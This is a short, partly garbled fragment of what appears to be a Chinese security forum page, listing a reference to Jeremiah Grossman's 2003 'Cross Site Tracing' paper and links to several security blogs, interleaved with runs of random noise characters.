% W2 y, N+ ^7 L% ? x2 @# c+ Z"Cross Site Tracing" (Jeremiah Grossman, January 2003)
% n# j/ d ^4 y7 r9 N$ Bhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
9 V/ H4 y4 u% Z7 ~8 O空虚浪子心BLOG http://www.inbreak.net" c# P. d, w2 E+ A4 J9 D$ m
Xeye Team http://xeye.us/0 x: W. B w7 J0 G
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